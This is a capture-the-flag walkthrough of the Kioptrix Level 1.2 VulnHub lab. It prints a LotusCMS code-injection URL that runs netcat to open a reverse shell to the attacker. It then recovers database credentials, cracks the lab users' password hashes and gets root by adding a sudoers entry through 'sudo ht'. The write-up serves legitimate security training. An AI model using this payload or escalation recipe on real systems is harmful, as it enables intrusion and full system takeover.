Machine: https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
- NMap
- dirb
- Netcat
- Got IP with netdiscover, in my case IP is 192.168.0.13. At first as usual scanned with nmap.
- Running dirb gives us some links.
- If we open the ip there is a website.
- If we click on login, we can get login panel powered by LotusCMS.
- If we google
LotusCMS RCE exploit
. We can find many exploits to get RCE. So, I studied the exploit and crafted a payload for reverse shell. Opening the crafted link gives reverse shell.http://192.168.0.13/index.php?page=index%27)%3B%24{system(%27nc+-e+%2Fbin%2Fsh+<ip address>+<port number>%27)}%3B%23
while listening on netcat if we open that link we will get a reverse shell.
- After some searching, I got some credentials inside
/home/www/kioptrix3.com/gallery/gconfig.php
. - We can use this credential on a previously found link using dirb
http://192.168.0.13/phpmyadmin/
. - After logging in we get two username and hash inside database.
- So, if we decrypt those hash using crackstation, we get password of
dreg
isMast3r
and pasword ofloneferret
isstarwars
. - We can get ssh using those credentials. As dreg I got nothing important. So, I tried
loneferret
andsudo
is enabled there and got somesudo binary
. su
is not exploitable as userloneferret
, so I tried to exploitht
and to exploitht
I need toexport TERM=xterm
.- Now I found this article https://vk9-sec.com/ht-privilege-escalation/ and followed these simple steps to root. So, at first I opened
sudo ht
and then pressedF3
to select/etc/sudoers
to open. - Now added
/bin/bash
to sudoers as instructed in the article and saved the file withF2
and quit withF10
orCTRL+C
. - Now just use
sudo /bin/bash
to get root shell. - Now we can find a file
Congrats.txt
inside/root
directory and this is the flag file containing a big paragraph.
Author: Zishan Ahamed Thandar